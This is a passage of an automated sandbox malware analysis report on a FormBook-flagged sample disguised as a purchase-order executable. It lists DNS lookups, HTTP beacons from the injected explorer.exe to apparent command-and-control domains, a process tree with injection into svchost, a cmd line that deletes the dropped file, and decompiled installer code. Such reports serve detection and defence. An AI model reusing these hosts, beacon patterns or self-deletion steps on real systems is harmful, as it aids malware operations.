Jun 15, 2021 14:09:20.379177094 CEST	192.168.2.4	8.8.8.8	0x61e7	Standard query (0)	www.svenskagourmet.com	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Jun 15, 2021 14:08:26.490681887 CEST	8.8.8.8	192.168.2.4	0xda42	Server failure (2)	www.skincarezwolle.com	none	none	A (IP address)	IN (0x0001)
Jun 15, 2021 14:08:31.536499023 CEST	8.8.8.8	192.168.2.4	0x404a	No error (0)	www.nuskinhk.com		91.195.240.94	A (IP address)	IN (0x0001)
Jun 15, 2021 14:08:36.759160995 CEST	8.8.8.8	192.168.2.4	0x8a0e	No error (0)	www.yourcreativeconsultantgroup.com	yourcreativeconsultantgroup.com		CNAME (Canonical name)	IN (0x0001)
Jun 15, 2021 14:08:36.759160995 CEST	8.8.8.8	192.168.2.4	0x8a0e	No error (0)	yourcreativeconsultantgroup.com		66.235.200.147	A (IP address)	IN (0x0001)
Jun 15, 2021 14:08:42.677730083 CEST	8.8.8.8	192.168.2.4	0x7b7e	Name error (3)	www.uxdnxodpo.icu	none	none	A (IP address)	IN (0x0001)
Jun 15, 2021 14:08:47.872950077 CEST	8.8.8.8	192.168.2.4	0x5c9	No error (0)	www.esmcharts.com		103.224.182.244	A (IP address)	IN (0x0001)
Jun 15, 2021 14:08:53.277836084 CEST	8.8.8.8	192.168.2.4	0x1e96	No error (0)	www.zgwljypx.com		154.90.65.115	A (IP address)	IN (0x0001)
Jun 15, 2021 14:08:59.156970978 CEST	8.8.8.8	192.168.2.4	0xd5f3	Server failure (2)	www.cestsansgluten.net	none	none	A (IP address)	IN (0x0001)
Jun 15, 2021 14:09:04.226077080 CEST	8.8.8.8	192.168.2.4	0x9d24	No error (0)	www.jackgaughan.net		154.83.72.159	A (IP address)	IN (0x0001)
Jun 15, 2021 14:09:09.835705042 CEST	8.8.8.8	192.168.2.4	0x955a	No error (0)	www.yihetubu.com		172.67.175.134	A (IP address)	IN (0x0001)
Jun 15, 2021 14:09:09.835705042 CEST	8.8.8.8	192.168.2.4	0x955a	No error (0)	www.yihetubu.com		104.21.96.86	A (IP address)	IN (0x0001)
Jun 15, 2021 14:09:20.417951107 CEST	8.8.8.8	192.168.2.4	0x61e7	No error (0)	www.svenskagourmet.com	svenskagourmet.com		CNAME (Canonical name)	IN (0x0001)
Jun 15, 2021 14:09:20.417951107 CEST	8.8.8.8	192.168.2.4	0x61e7	No error (0)	svenskagourmet.com		34.102.136.180	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

www.nuskinhk.com

www.yourcreativeconsultantgroup.com

www.esmcharts.com

www.zgwljypx.com

www.jackgaughan.net

www.yihetubu.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.4	49763	91.195.240.94	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jun 15, 2021 14:08:31.562691927 CEST	6099	OUT	GET /u6e4/?U6ApY=rTbZoia8ZrSLLKVd1jYuoiAZrGZffbbBY/287cYY09W/kVEWF1VyJJlbdOYrHwxogUS3&l0DL=bT6Hn4EpFnWH HTTP/1.1 Host: www.nuskinhk.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Jun 15, 2021 14:08:31.618757010 CEST	6100	IN	HTTP/1.1 301 Moved Permanently Content-Type: text/html; charset=utf-8 Location: https://www.nuskinhk.com/u6e4/?U6ApY=rTbZoia8ZrSLLKVd1jYuoiAZrGZffbbBY/287cYY09W/kVEWF1VyJJlbdOYrHwxogUS3&l0DL=bT6Hn4EpFnWH Date: Tue, 15 Jun 2021 12:08:31 GMT Content-Length: 162 Connection: close Data Raw: 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6e 75 73 6b 69 6e 68 6b 2e 63 6f 6d 2f 75 36 65 34 2f 3f 55 36 41 70 59 3d 72 54 62 5a 6f 69 61 38 5a 72 53 4c 4c 4b 56 64 31 6a 59 75 6f 69 41 5a 72 47 5a 66 66 62 62 42 59 2f 32 38 37 63 59 59 30 39 57 2f 6b 56 45 57 46 31 56 79 4a 4a 6c 62 64 4f 59 72 48 77 78 6f 67 55 53 33 26 61 6d 70 3b 6c 30 44 4c 3d 62 54 36 48 6e 34 45 70 46 6e 57 48 22 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 61 3e 2e 0a 0a Data Ascii: <a href="https://www.nuskinhk.com/u6e4/?U6ApY=rTbZoia8ZrSLLKVd1jYuoiAZrGZffbbBY/287cYY09W/kVEWF1VyJJlbdOYrHwxogUS3&l0DL=bT6Hn4EpFnWH">Moved Permanently</a>.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.4	49764	66.235.200.147	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jun 15, 2021 14:08:36.778527975 CEST	6101	OUT	GET /u6e4/?l0DL=bT6Hn4EpFnWH&U6ApY=zOxmByeNS7+9J0CjES2oaqywLthrZ4DV/T5/mAf+7J4BkmSSPksdMfeqy2uDrY4D9J80 HTTP/1.1 Host: www.yourcreativeconsultantgroup.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.4	49765	103.224.182.244	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jun 15, 2021 14:08:48.035409927 CEST	6103	OUT	GET /u6e4/?l0DL=bT6Hn4EpFnWH&U6ApY=8HyKVZi0EfAfVSKqZKSZMtXtWnSRXbKRBf9ZQh9tOniB8ZHiG2v6+6+C2sbgdZ4UIi42 HTTP/1.1 Host: www.esmcharts.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Jun 15, 2021 14:08:48.222034931 CEST	6103	IN	HTTP/1.1 302 Found Date: Tue, 15 Jun 2021 12:08:48 GMT Server: Apache/2.4.25 (Debian) Set-Cookie: __tad=1623758928.8951716; expires=Fri, 13-Jun-2031 12:08:48 GMT; Max-Age=315360000 Location: http://ww25.esmcharts.com/u6e4/?l0DL=bT6Hn4EpFnWH&U6ApY=8HyKVZi0EfAfVSKqZKSZMtXtWnSRXbKRBf9ZQh9tOniB8ZHiG2v6+6+C2sbgdZ4UIi42&subid1=20210615-2208-4861-a346-9e1611fd0d6e Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.4	49766	154.90.65.115	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jun 15, 2021 14:08:53.527288914 CEST	6104	OUT	GET /u6e4/?U6ApY=GEKHPvpVXeCclQN5/N7c02fUqVrvniCdt6IKYAbwpNYx9gg2UhzEUFLU2QBSs2Fxkpwb&l0DL=bT6Hn4EpFnWH HTTP/1.1 Host: www.zgwljypx.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Jun 15, 2021 14:08:53.775027037 CEST	6105	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 15 Jun 2021 12:08:53 GMT Content-Type: text/html Content-Length: 633 Connection: close ETag: "6011503c-279" Data Raw: 3c 68 74 6d 6c 3e 0d 0d 0d 0d 0d 0a 3c 68 65 61 64 3e 0d 0d 0d 0d 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 67 62 6b 22 20 2f 3e 0d 0d 0d 0d 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 3c 2f 74 69 74 6c 65 3e 0d 0d 0d 0d 0d 0a 3c 2f 68 65 61 64 3e 0d 0d 0d 0d 0d 0a 20 0d 0d 0d 0d 0d 0a 3c 62 6f 64 79 3e 0d 0d 0d 0d 0d 0a 20 0d 0d 0d 0d 0d 0a 3c 70 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 22 3e ba cd ce b4 b5 c7 c2 bc b7 c3 bf cd d2 bb d1 f9 a3 ac d5 e2 d0 a9 ca a7 d7 d9 b5 c4 b1 a6 b1 b4 d2 b2 d0 ed be cd d4 da c4 fa c9 ed b1 df a3 a1 3c 2f 70 3e 0d 0d 0d 0d 0d 0a 3c 70 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 22 3e 0d 0d 0d 0d 0d 0a 09 cf e0 b9 d8 d7 e9 d6 af a3 ba 0d 0d 0d 0d 0d 0a 09 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 65 2e 74 2e 71 71 2e 63 6f 6d 2f 54 65 6e 63 65 6e 74 2d 56 6f 6c 75 6e 74 65 65 72 73 22 20 74 69 74 6c 65 3d 22 cc da d1 b6 d6 be d4 b8 d5 df 22 3e cc da d1 b6 d6 be d4 b8 d5 df 3c 2f 61 3e a1 a2 0d 0d 0d 0d 0d 0a 09 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 62 62 73 2e 62 61 6f 62 65 69 68 75 69 6a 69 61 2e 63 6f 6d 2f 22 20 74 69 74 6c 65 3d 22 b1 a6 b1 b4 bb d8 bc d2 22 3e b1 a6 b1 b4 bb d8 bc d2 3c 2f 61 3e 0d 0d 0d 0d 0d 0a 3c 2f 70 3e 0d 0d 0d 0d 0d 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 0d 0d 0d 0d 0d 0a 20 0d 0d 0d 0d 0d 0a 73 72 63 3d 22 68 74 74 70 3a 2f 2f 71 7a 6f 6e 65 73 74 79 6c 65 2e 67 74 69 6d 67 2e 63 6e 2f 71 7a 6f 6e 65 5f 76 36 2f 6c 6f 73 74 63 68 69 6c 64 2f 73 65 61 72 63 68 5f 63 68 69 6c 64 72 65 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0d 0d 0d 0d 0d 0a 20 0d 0d 0d 0d 0d 0a 20 0d 0d 0d 0d 0d 0a 3c 2f 62 6f 64 79 3e 0d 0d 0d 0d 0d 0a 0d 0d 0d 0d 0d 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><meta http-equiv="content-type" content="text/html; charset=gbk" /><title>404</title></head> <body> <p style="display:none"></p><p style="display:none"><a href="http://e.t.qq.com/Tencent-Volunteers" title=""></a><a href="http://bbs.baobeihuijia.com/" title=""></a></p><script type="text/javascript" src="http://qzonestyle.gtimg.cn/qzone_v6/lostchild/search_children.js"></script> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.4	49769	154.83.72.159	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jun 15, 2021 14:09:04.491095066 CEST	6125	OUT	GET /u6e4/?U6ApY=a0+uwTFn5nNVUPHoKe2kISzIrov1rZSfduXEMVOsrOurYOD9M3ct8u5Em4BSL0WuodEf&l0DL=bT6Hn4EpFnWH HTTP/1.1 Host: www.jackgaughan.net Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Jun 15, 2021 14:09:04.773657084 CEST	6125	IN	HTTP/1.1 404 Not Found Transfer-Encoding: chunked Server: Nginx Microsoft-HTTPAPI/2.0 X-Powered-By: Nginx Date: Tue, 15 Jun 2021 12:09:04 GMT Connection: close Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.4	49770	172.67.175.134	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jun 15, 2021 14:09:09.855424881 CEST	6126	OUT	GET /u6e4/?l0DL=bT6Hn4EpFnWH&U6ApY=IHGRx2D03MO2Li40IzUvs7zF3B/N+nlQ0tWfuVZKRE1k94k9L8v4sWIwR5z1KUInAjtt HTTP/1.1 Host: www.yihetubu.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: PO# 0499699.exe PID: 7096 Parent PID: 5944

General

Start time:	14:07:09
Start date:	15/06/2021
Path:	C:\Users\user\Desktop\PO# 0499699.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\Desktop\PO# 0499699.exe'
Imagebase:	0x400000
File size:	217681 bytes
MD5 hash:	028549D34DB828041EED451464873036
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000000.00000002.654323964.00000000022C0000.00000004.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000000.00000002.654323964.00000000022C0000.00000004.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000000.00000002.654323964.00000000022C0000.00000004.00000001.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	low

Chronological Activities

Analysis Process: PO# 0499699.exe PID: 7160 Parent PID: 7096

General

Start time:	14:07:10
Start date:	15/06/2021
Path:	C:\Users\user\Desktop\PO# 0499699.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\Desktop\PO# 0499699.exe'
Imagebase:	0x400000
File size:	217681 bytes
MD5 hash:	028549D34DB828041EED451464873036
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000001.00000001.652339293.0000000000400000.00000040.00020000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000001.00000001.652339293.0000000000400000.00000040.00020000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000001.00000001.652339293.0000000000400000.00000040.00020000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000001.00000002.725915647.0000000000400000.00000040.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000001.00000002.725915647.0000000000400000.00000040.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000001.00000002.725915647.0000000000400000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000001.00000002.726168620.0000000000590000.00000040.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000001.00000002.726168620.0000000000590000.00000040.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000001.00000002.726168620.0000000000590000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000001.00000002.726196918.00000000005C0000.00000040.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000001.00000002.726196918.00000000005C0000.00000040.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000001.00000002.726196918.00000000005C0000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	low

Chronological Activities

Analysis Process: explorer.exe PID: 3424 Parent PID: 7160

General

Start time:	14:07:16
Start date:	15/06/2021
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Explorer.EXE
Imagebase:	0x7ff6fee60000
File size:	3933184 bytes
MD5 hash:	AD5296B280E8F522A8A897C96BAB0E1D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: autoconv.exe PID: 6628 Parent PID: 3424

General

Start time:	14:07:36
Start date:	15/06/2021
Path:	C:\Windows\SysWOW64\autoconv.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\SysWOW64\autoconv.exe
Imagebase:	0xc00000
File size:	851968 bytes
MD5 hash:	4506BE56787EDCD771A351C10B5AE3B7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Chronological Activities

Analysis Process: svchost.exe PID: 6712 Parent PID: 3424

General

Start time:	14:07:42
Start date:	15/06/2021
Path:	C:\Windows\SysWOW64\svchost.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\svchost.exe
Imagebase:	0x1220000
File size:	44520 bytes
MD5 hash:	FA6C268A5B5BDA067A901764D203D433
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000007.00000002.914299870.0000000003A30000.00000004.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000007.00000002.914299870.0000000003A30000.00000004.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000007.00000002.914299870.0000000003A30000.00000004.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000007.00000002.914264878.0000000003A00000.00000040.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000007.00000002.914264878.0000000003A00000.00000040.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000007.00000002.914264878.0000000003A00000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000007.00000002.913465611.0000000000F60000.00000040.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000007.00000002.913465611.0000000000F60000.00000040.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000007.00000002.913465611.0000000000F60000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	high

Chronological Activities

Analysis Process: cmd.exe PID: 744 Parent PID: 6712

General

Start time:	14:07:48
Start date:	15/06/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	/c del 'C:\Users\user\Desktop\PO# 0499699.exe'
Imagebase:	0x11d0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: conhost.exe PID: 4552 Parent PID: 744

General

Start time:	14:07:49
Start date:	15/06/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff724c50000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: PO# 0499699.exe PID: 7096 Parent PID: 5944 PO# 0499699.exeCOMMON

Executed Functions

Function 004030CB, Relevance: 68.5, APIs: 23, Strings: 16, Instructions: 270
filestringcomCOMMON

Download Yara Rule

C-Code - Quality: 82%

			_entry_() {
				struct _SHFILEINFOA _v360;
				struct _SECURITY_ATTRIBUTES* _v376;
				char _v380;
				CHAR* _v384;
				char _v396;
				int _v400;
				int _v404;
				CHAR* _v408;
				intOrPtr _v412;
				int _v416;
				intOrPtr _v420;
				struct _SECURITY_ATTRIBUTES* _v424;
				void* _v432;
				int _t34;
				CHAR* _t39;
				char* _t42;
				signed int _t44;
				void* _t48;
				intOrPtr _t50;
				signed int _t52;
				signed int _t55;
				int _t56;
				signed int _t60;
				void* _t79;
				void* _t89;
				void* _t91;
				char* _t96;
				signed int _t97;
				void* _t98;
				signed int _t99;
				signed int _t100;
				signed int _t103;
				CHAR* _t105;
				signed int _t106;
				char _t120;

				_v376 = 0;
				_v384 = "Error writing temporary file. Make sure your temp folder is valid.";
				_t99 = 0;
				_v380 = 0x20;
				__imp__#17();
				_t34 = SetErrorMode(0x8001); // executed
				__imp__OleInitialize(0); // executed
				 *0x423f38 = _t34;
				 *0x423e84 = E00405CFF(8);
				SHGetFileInfoA(0x41f430, 0,  &_v360, 0x160, 0); // executed
				E004059DD(0x423680, "NSIS Error");
				_t39 = GetCommandLineA();
				_t96 = "\"C:\\Users\\jones\\Desktop\\PO# 0499699.exe\" ";
				E004059DD(_t96, _t39);
				 *0x423e80 = GetModuleHandleA(0);
				_t42 = _t96;
				if("\"C:\\Users\\jones\\Desktop\\PO# 0499699.exe\" " == 0x22) {
					_v404 = 0x22;
					_t42 =  &M00429001;
				}
				_t44 = CharNextA(E004054FB(_t42, _v404));
				_v404 = _t44;
				while(1) {
					_t91 =  *_t44;
					_t109 = _t91;
					if(_t91 == 0) {
						break;
					}
					__eflags = _t91 - 0x20;
					if(_t91 != 0x20) {
						L5:
						__eflags =  *_t44 - 0x22;
						_v404 = 0x20;
						if( *_t44 == 0x22) {
							_t44 = _t44 + 1;
							__eflags = _t44;
							_v404 = 0x22;
						}
						__eflags =  *_t44 - 0x2f;
						if( *_t44 != 0x2f) {
							L15:
							_t44 = E004054FB(_t44, _v404);
							__eflags =  *_t44 - 0x22;
							if(__eflags == 0) {
								_t44 = _t44 + 1;
								__eflags = _t44;
							}
							continue;
						} else {
							_t44 = _t44 + 1;
							__eflags =  *_t44 - 0x53;
							if( *_t44 == 0x53) {
								__eflags = ( *(_t44 + 1) | 0x00000020) - 0x20;
								if(( *(_t44 + 1) | 0x00000020) == 0x20) {
									_t99 = _t99 | 0x00000002;
									__eflags = _t99;
								}
							}
							__eflags =  *_t44 - 0x4352434e;
							if( *_t44 == 0x4352434e) {
								__eflags = ( *(_t44 + 4) | 0x00000020) - 0x20;
								if(( *(_t44 + 4) | 0x00000020) == 0x20) {
									_t99 = _t99 | 0x00000004;
									__eflags = _t99;
								}
							}
							__eflags =  *((intOrPtr*)(_t44 - 2)) - 0x3d442f20;
							if( *((intOrPtr*)(_t44 - 2)) == 0x3d442f20) {
								 *((intOrPtr*)(_t44 - 2)) = 0;
								__eflags = _t44 + 2;
								E004059DD("C:\\Users\\jones\\AppData\\Local\\Temp", _t44 + 2);
								L20:
								_t105 = "C:\\Users\\jones\\AppData\\Local\\Temp\\";
								GetTempPathA(0x400, _t105);
								_t48 = E00403097(_t109);
								_t110 = _t48;
								if(_t48 != 0) {
									L22:
									DeleteFileA("1033"); // executed
									_t50 = E00402C22(_t111, _t99); // executed
									_v412 = _t50;
									if(_t50 != 0) {
										L32:
										E0040344C();
										__imp__OleUninitialize();
										if(_v408 == 0) {
											__eflags =  *0x423f14;
											if( *0x423f14 != 0) {
												_t106 = E00405CFF(3);
												_t100 = E00405CFF(4);
												_t55 = E00405CFF(5);
												__eflags = _t106;
												_t97 = _t55;
												if(_t106 != 0) {
													__eflags = _t100;
													if(_t100 != 0) {
														__eflags = _t97;
														if(_t97 != 0) {
															_t60 =  *_t106(GetCurrentProcess(), 0x28,  &_v396);
															__eflags = _t60;
															if(_t60 != 0) {
																 *_t100(0, "SeShutdownPrivilege",  &_v400);
																_v416 = 1;
																_v404 = 2;
																 *_t97(_v420, 0,  &_v416, 0, 0, 0);
															}
														}
													}
												}
												_t56 = ExitWindowsEx(2, 0);
												__eflags = _t56;
												if(_t56 == 0) {
													E0040140B(9);
												}
											}
											_t52 =  *0x423f2c;
											__eflags = _t52 - 0xffffffff;
											if(_t52 != 0xffffffff) {
												_v400 = _t52;
											}
											ExitProcess(_v400);
										}
										E0040529E(_v408, 0x200010);
										ExitProcess(2);
									}
									if( *0x423e9c == 0) {
										L31:
										 *0x423f2c =  *0x423f2c | 0xffffffff;
										_v400 = E00403526();
										goto L32;
									}
									_t103 = E004054FB(_t96, 0);
									while(_t103 >= _t96) {
										__eflags =  *_t103 - 0x3d3f5f20;
										if(__eflags == 0) {
											break;
										}
										_t103 = _t103 - 1;
										__eflags = _t103;
									}
									_t115 = _t103 - _t96;
									_v408 = "Error launching installer";
									if(_t103 < _t96) {
										lstrcatA(_t105, "~nsu.tmp");
										if(lstrcmpiA(_t105, "C:\\Users\\jones\\Desktop") == 0) {
											goto L32;
										}
										CreateDirectoryA(_t105, 0);
										SetCurrentDirectoryA(_t105);
										_t120 = "C:\\Users\\jones\\AppData\\Local\\Temp"; // 0x43
										if(_t120 == 0) {
											E004059DD("C:\\Users\\jones\\AppData\\Local\\Temp", "C:\\Users\\jones\\Desktop");
										}
										E004059DD(0x424000, _v396);
										 *0x424400 = 0x41;
										_t98 = 0x1a;
										do {
											E004059FF(0, _t98, 0x41f030, 0x41f030,  *((intOrPtr*)( *0x423e90 + 0x120)));
											DeleteFileA(0x41f030);
											if(_v416 != 0 && CopyFileA("C:\\Users\\jones\\Desktop\\PO# 0499699.exe", 0x41f030, 1) != 0) {
												_push(0);
												_push(0x41f030);
												E0040572B();
												E004059FF(0, _t98, 0x41f030, 0x41f030,  *((intOrPtr*)( *0x423e90 + 0x124)));
												_t79 = E0040523D(0x41f030);
												if(_t79 != 0) {
													CloseHandle(_t79);
													_v416 = 0;
												}
											}
											 *0x424400 =  *0x424400 + 1;
											_t98 = _t98 - 1;
										} while (_t98 != 0);
										_push(0);
										_push(_t105);
										E0040572B();
										goto L32;
									}
									 *_t103 = 0;
									_t104 = _t103 + 4;
									if(E004055B1(_t115, _t103 + 4) == 0) {
										goto L32;
									}
									E004059DD("C:\\Users\\jones\\AppData\\Local\\Temp", _t104);
									E004059DD("C:\\Users\\jones\\AppData\\Local\\Temp", _t104);
									_v424 = 0;
									goto L31;
								}
								GetWindowsDirectoryA(_t105, 0x3fb);
								lstrcatA(_t105, "\\Temp");
								_t89 = E00403097(_t110);
								_t111 = _t89;
								if(_t89 == 0) {
									goto L32;
								}
								goto L22;
							}
							goto L15;
						}
					} else {
						goto L4;
					}
					do {
						L4:
						_t44 = _t44 + 1;
						__eflags =  *_t44 - 0x20;
					} while ( *_t44 == 0x20);
					goto L5;
				}
				goto L20;
			}

0x004030d7
0x004030db
0x004030e3
0x004030e5
0x004030ea
0x004030f5
0x004030fc
0x00403104
0x0040310e
0x00403124
0x00403134
0x00403139
0x0040313f
0x00403146
0x00403159
0x0040315e
0x00403160
0x00403162
0x00403167
0x00403167
0x00403177
0x0040317d
0x004031e6
0x004031e6
0x004031e8
0x004031ea
0x00000000
0x00000000
0x00403183
0x00403186
0x0040318e
0x0040318e
0x00403191
0x00403196
0x00403198
0x00403198
0x00403199
0x00403199
0x0040319e
0x004031a1
0x004031d6
0x004031db
0x004031e0
0x004031e3
0x004031e5
0x004031e5
0x004031e5
0x00000000
0x004031a3
0x004031a3
0x004031a4
0x004031a7
0x004031af
0x004031b2
0x004031b4
0x004031b4
0x004031b4
0x004031b2
0x004031b7
0x004031bd
0x004031c5
0x004031c8
0x004031ca
0x004031ca
0x004031ca
0x004031c8
0x004031cd
0x004031d4
0x004031ee
0x004031f1
0x004031fa
0x004031ff
0x004031ff
0x0040320a
0x00403210
0x00403215
0x00403217
0x00403239
0x0040323e
0x00403245
0x0040324c
0x00403250
0x004032b7
0x004032b7
0x004032bc
0x004032c6
0x004033b1
0x004033b7
0x004033c2
0x004033cb
0x004033cd
0x004033d2
0x004033d4
0x004033d6
0x004033d8
0x004033da
0x004033dc
0x004033de
0x004033ee
0x004033f0
0x004033f2
0x004033ff
0x0040340e
0x00403416
0x0040341e
0x0040341e
0x004033f2
0x004033de
0x004033da
0x00403423
0x00403429
0x0040342b
0x0040342f
0x0040342f
0x0040342b
0x00403434
0x00403439
0x0040343c
0x0040343e
0x0040343e
0x00403446
0x00403446
0x004032d5
0x004032dc
0x004032dc
0x00403258
0x004032a7
0x004032a7
0x004032b3
0x00000000
0x004032b3
0x00403261
0x0040326e
0x00403265
0x0040326b
0x00000000
0x00000000
0x0040326d
0x0040326d
0x0040326d
0x00403272
0x00403274
0x0040327c
0x004032e8
0x004032fc
0x00000000
0x00000000
0x00403300
0x00403307
0x0040330d
0x00403313
0x0040331b
0x0040331b
0x00403329
0x00403330
0x00403339
0x0040333f
0x0040334b
0x00403351
0x0040335b
0x0040336f
0x00403370
0x00403371
0x00403382
0x00403388
0x0040338f
0x00403392
0x00403398
0x00403398
0x0040338f
0x0040339c
0x004033a2
0x004033a2
0x004033a5
0x004033a6
0x004033a7
0x00000000
0x004033a7
0x0040327e
0x00403280
0x0040328b
0x00000000
0x00000000
0x00403293
0x0040329e
0x004032a3
0x00000000
0x004032a3
0x0040321f
0x0040322b
0x00403230
0x00403235
0x00403237
0x00000000
0x00000000
0x00000000
0x00403237
0x00000000
0x004031d4
0x00000000
0x00000000
0x00000000
0x00403188
0x00403188
0x00403188
0x00403189
0x00403189
0x00000000
0x00403188
0x00000000

APIs

#17.COMCTL32 ref: 004030EA
SetErrorMode.KERNELBASE(00008001), ref: 004030F5
OleInitialize.OLE32(00000000), ref: 004030FC

Part of subcall function 00405CFF: GetModuleHandleA.KERNEL32(?,?,00000000,0040310E,00000008), ref: 00405D11
